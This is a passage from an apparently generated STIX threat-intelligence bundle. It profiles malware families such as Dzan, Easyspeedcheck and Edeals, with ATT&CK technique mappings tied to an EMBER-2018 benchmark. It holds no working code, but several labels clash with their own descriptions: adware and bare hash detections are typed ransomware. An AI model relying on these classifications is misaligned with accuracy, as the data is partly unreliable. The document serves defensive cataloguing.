      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd909e9a-4bd3-5fe3-8572-194e6364cb62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d30f005-367d-56e8-a620-a7c9154eb123",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3965dff-3c4a-50c7-83f8-cf9d6f28452f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9d5c474-00a0-55a1-9a05-ef286c052815",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dynamer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e784102a-9483-53c0-bff9-59c951c98c62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dzan",
      "description": "<h3>Executive Summary</h3>\nDzan is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDzan is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Dzan operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dzan ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dzan receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dzan infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Dzan executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Dzan frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dzan",
        "Downloader.Dzan",
        "Win32/Dzan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dzan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dzan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92a2fc1f-7d85-5a4a-a3dc-b3096755fe17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e784102a-9483-53c0-bff9-59c951c98c62",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dzan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0eea04f2-38be-5272-8c99-d2b316bf9e3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e784102a-9483-53c0-bff9-59c951c98c62",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dzan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba1b9c2a-73c3-5a86-a6c1-1fa839989fe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e784102a-9483-53c0-bff9-59c951c98c62",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dzan exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c8cd499-0214-5a5a-a704-7f1beb1efc71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "E13044Af",
      "description": "<h3>Executive Summary</h3>\nE13044af is a heuristic detection name, typically representing a partial hash (like MD5 or SHA-256) assigned to a highly obfuscated or polymorphic Trojan variant. This naming convention is used by security vendors when a file exhibits malicious behavior during automated sandbox analysis, but does not match any known static malware family signature. It strongly suggests the use of dynamic packing or server-side polymorphism.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing hash-based or heavily randomized nomenclature is almost exclusively delivered as a secondary payload. An initial access broker or a primary downloader (like Emotet or Trickbot) drops this obfuscated executable onto the victim's machine once initial access is achieved.\n\nUpon execution, this trojan prioritizes stealth and evasion:\n<ul>\n<li><strong>Polymorphism and Packing:</strong> The executable is heavily packed. It unpacks itself directly into memory (fileless execution) to hide its true, underlying malicious code from static analysis tools.</li>\n<li><strong>Process Injection:</strong> It frequently utilizes Process Hollowing, suspending a legitimate Windows process (e.g., `svchost.exe`) and replacing its memory space with the malicious code, allowing it to bypass application whitelisting and firewall rules.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain to receive further instructions, download additional payloads (acting as a loader), or exfiltrate data.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a highly obfuscated trojan like E13044af is a critical indicator of compromise. It signifies that advanced evasion techniques have successfully bypassed perimeter defenses and initial static scanning. The payload could be anything from a silent info-stealer to a precursor for a network-wide ransomware deployment.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Eradication requires Endpoint Detection and Response (EDR) solutions that monitor for anomalous process behavior (like code injection or unexpected outbound network connections) rather than relying on file hashes.</li>\n<li><strong>Network Isolation:</strong> Immediately isolate the machine to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion tactics and the high likelihood of undiscovered secondary payloads, a complete bare-metal wipe and re-image from a trusted backup is the most secure remediation path.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.E13044af",
        "Win32/Trojan.Obfuscated",
        "Suspicious.Hash"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for E13044Af",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/e13044af"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c5dacf5-af43-5c4d-b9e1-ab85a4146aa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c8cd499-0214-5a5a-a704-7f1beb1efc71",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E13044Af exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7349559a-6dc4-5f9e-9322-48912be93c75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c8cd499-0214-5a5a-a704-7f1beb1efc71",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E13044Af exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b702359-061a-5a3b-b1bf-cad8af90c4d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6c8cd499-0214-5a5a-a704-7f1beb1efc71",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E13044Af exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f10e0804-7d7e-5062-930a-0ee517e75729",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "E2F3F4D",
      "description": "<h3>Executive Summary</h3>\n\"e2f3f4d\" (and similar purely hexadecimal strings) represents a strict, static hash-based detection signature utilized by antivirus engines. It does not identify a named malware family, but rather acts as a direct blocklist entry for a specific, known malicious file whose cryptographic hash (like MD5 or SHA-256) matches the identifier.\n\n<h3>Static Detection and Technical Context</h3>\nUnlike heuristic detections (which analyze behavior), a hash-based detection like \"e2f3f4d\" means the endpoint protection platform (EPP) has encountered a file that is an exact, byte-for-byte match with a piece of malware that has been previously analyzed and definitively classified as malicious by the security vendor.\n\nThe implications of a hash-based detection include:\n<ul>\n<li><strong>High Confidence:</strong> Hash detections have an extremely low false-positive rate. If a file triggers this alert, it is almost certainly malicious.</li>\n<li><strong>Lack of Context:</strong> While the detection is highly accurate, the identifier itself provides no context about what the malware actually does (e.g., whether it is an info-stealer, ransomware, or adware).</li>\n<li><strong>Evasion Vulnerability:</strong> Hash-based detections are easily bypassed by malware authors. Changing a single byte of the malicious executable (e.g., recompiling it or adding a null byte) completely alters the resulting hash, rendering the static signature useless.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile the alert confirms the presence of known malware, responders must treat it as a critical indicator that perimeter defenses were bypassed. The primary concern is whether the file was blocked pre-execution or if the hash was only detected during a post-execution sweep.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Verify Execution Status:</strong> Check the EDR logs immediately to determine if the EPP successfully blocked the file from executing, or if it was only flagged after the process was already running.</li>\n<li><strong>Hash Lookups:</strong> Take the full SHA-256 hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to identify the true malware family and obtain actionable context on its capabilities.</li>\n<li><strong>Endpoint Sweeps:</strong> Utilize the identified hash as an Indicator of Compromise (IOC) to sweep the entire enterprise network, ensuring the specific malicious file has not been dropped on other hosts.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hash",
        "Malware.e2f3f4d"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for E2F3F4D",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/e2f3f4d"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22422ea3-941f-51dc-95b2-6d93f3b3ddd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f10e0804-7d7e-5062-930a-0ee517e75729",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E2F3F4D exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2661672-ed50-5b5a-8231-bb5ee230585b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f10e0804-7d7e-5062-930a-0ee517e75729",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E2F3F4D exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2781544b-7082-552d-8327-f8a570738c8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f10e0804-7d7e-5062-930a-0ee517e75729",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E2F3F4D exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3719d86c-5844-5884-8334-8dfa200e80d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f10e0804-7d7e-5062-930a-0ee517e75729",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "E2F3F4D exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f69263ed-c905-581d-8f86-bc355f7b1e25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Easyspeedcheck",
      "description": "<h3>Executive Summary</h3>\nEasySpeedCheck is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware that masquerades as a critical system optimization or internet speed testing utility. Its true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and utilizing fear-based tactics (scareware) to prompt the user into purchasing unnecessary \"premium\" versions of the software.\n\n<h3>Distribution and Technical Behavior</h3>\nEasySpeedCheck is heavily distributed via deceptive advertising networks, fake \"Your PC is Slow\" pop-ups, and bundled within the \"Express Installation\" settings of free software downloaded from low-reputation download portals.\n\nOnce installed, EasySpeedCheck deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Fake Scans and Scareware:</strong> The software frequently runs unsolicited \"speed tests\" or system scans that inevitably \"discover\" dozens of critical errors or network bottlenecks. It then aggressively prompts the user to purchase a premium license to fix these fabricated problems.</li>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, EasySpeedCheck creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its fake scanning and ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile EasySpeedCheck is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction, financial risk (via scareware purchases), and privacy risks. The continuous fake alerts degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, increasing the risk of exposure to more severe \"malvertising.\"\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the EasySpeedCheck executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.EasySpeedCheck",
        "PUP.EasySpeedCheck",
        "BrowserModifier:Win32/EasySpeedCheck"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Easyspeedcheck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/easyspeedcheck"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22ce27fb-bde7-5880-b850-9666c51c72db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f69263ed-c905-581d-8f86-bc355f7b1e25",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Easyspeedcheck exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1a19191-03d3-5faf-95a9-7c3f52f6bf68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f69263ed-c905-581d-8f86-bc355f7b1e25",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Easyspeedcheck exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bb079e5-34ec-55e4-908c-a2f5a71eca75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f69263ed-c905-581d-8f86-bc355f7b1e25",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Easyspeedcheck exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eb149B",
      "description": "<h3>Executive Summary</h3>\n\"Eb149b\" is a generic detection identifier utilized by heuristic antivirus engines and endpoint protection platforms (EPP). It does not represent a specific, named malware family; rather, it is a machine-generated label applied to an executable file that exhibits highly suspicious, potentially malicious behavior without matching a known static signature.\n\n<h3>Behavioral Context and Heuristic Analysis</h3>\nThe seemingly random string \"Eb149b\" is characteristic of automated naming conventions used by security vendors when an unknown file triggers behavioral alerts indicative of a trojan, dropper, or obfuscated payload.\n\nFiles flagged with the Eb149b identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>High Code Entropy (Packing):</strong> The file is heavily obfuscated, compressed, or encrypted using custom, non-standard packers\u2014a common technique employed by malware authors to hide the true payload from static analysis and reverse engineering.</li>\n<li><strong>Unauthorized System Modifications:</strong> The executable attempts to silently modify critical Windows Registry keys (e.g., `Run`, `RunOnce`) or create hidden Scheduled Tasks to establish persistence upon system reboot.</li>\n<li><strong>Suspicious Network Activity:</strong> The program initiates outbound connections to untrusted or newly registered domains immediately upon execution, often indicative of command-and-control (C2) communication or an attempt to download a secondary payload.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nDespite the generic naming convention, an Eb149b detection must be treated as a severe security event. The generic nature of the alert means the true intent of the file is unknown; it could be a simple Potentially Unwanted Program (PUP) or the precursor to a targeted, highly destructive ransomware attack.\n\n<h3>Investigation and Remediation Strategy</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Instantly isolate the affected endpoint from the corporate network to prevent potential lateral movement and halt any ongoing data exfiltration or C2 communication.</li>\n<li><strong>Threat Intelligence and Sandboxing:</strong> Extract the file hash and query it against threat intelligence platforms (like VirusTotal). Simultaneously, submit the file to a secure sandbox to observe its dynamic behavior and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Proactive Threat Hunting:</strong> Utilize the IOCs gathered from the sandbox analysis (such as IP addresses, dropped file names, or specific registry changes) to sweep the entire enterprise network and ensure the threat is fully contained.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.Eb149b",
        "Trojan.Generic",
        "Suspicious.Eb149b"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eb149B",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eb149b"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b6c2e7e-5bb5-5eff-9883-56e8e74ec62c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eb149B exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42672eef-6b05-5fef-90d1-c502edfeae67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eb149B exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4eea876c-f701-5a84-95ec-32afc2a6b32d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eb149B exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ca8081e-2456-597d-abb5-befec1532aa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eb149B exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7ec62a9e-d6f9-5807-a5db-80ca95bddbc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--36838285-a2df-54f0-b682-4a9d89b27fb1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eb149B exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1990d250-9635-54fe-ac1d-a6c39dafd055",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Edeals",
      "description": "<h3>Executive Summary</h3>\nEDeals (often detected as Adware.EDeals or PUP.EDeals) is a prevalent family of aggressive Adware and Potentially Unwanted Programs (PUPs) engineered to monetize an infected user's web browsing activity. It intercepts web traffic, forcefully alters browser configurations, and injects highly intrusive advertisements, posing a significant threat to end-user privacy and degrading network performance.\n\n<h3>Distribution and Technical Behavior</h3>\nEDeals is almost exclusively distributed via deceptive software bundling. It is frequently hidden within \"free\" software installers, fake media players, or disguised as a necessary system utility downloaded from untrustworthy, third-party software portals.\n\nOnce executed, EDeals deeply integrates with the operating system and installed web browsers. Its core behaviors include:\n<ul>\n<li><strong>Browser Hijacking:</strong> EDeals alters the browser's default search engine, homepage, and new tab settings. All search traffic is redirected through an affiliate-linked search portal controlled by the adware operators to generate illicit ad revenue.</li>\n<li><strong>Traffic Interception and Injection:</strong> The software frequently installs malicious browser extensions or a local proxy server to intercept unencrypted web traffic. It overlays legitimate websites with disruptive pop-ups, pop-unders, banner ads, and sponsored in-text hyperlinks.</li>\n<li><strong>Data Harvesting:</strong> It continuously tracks the user's browsing history, search queries, and clickstreams, transmitting this telemetry to remote servers to serve highly targeted advertisements.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile EDeals does not actively encrypt files or steal banking credentials, it introduces massive operational friction. Furthermore, the injected advertisements and hijacked search results are frequently served by low-reputation ad networks, dramatically increasing the likelihood of \"malvertising\" attacks that can lead to severe secondary infections.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the EDeals executables, hidden scheduled tasks, and persistent registry keys used to maintain its hold on the browser.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.EDeals",
        "PUP.EDeals",
        "BrowserModifier:Win32/EDeals"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Edeals",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/edeals"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d15819c0-4dc8-5aa4-bf97-dc40394e2aea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1990d250-9635-54fe-ac1d-a6c39dafd055",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Edeals exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
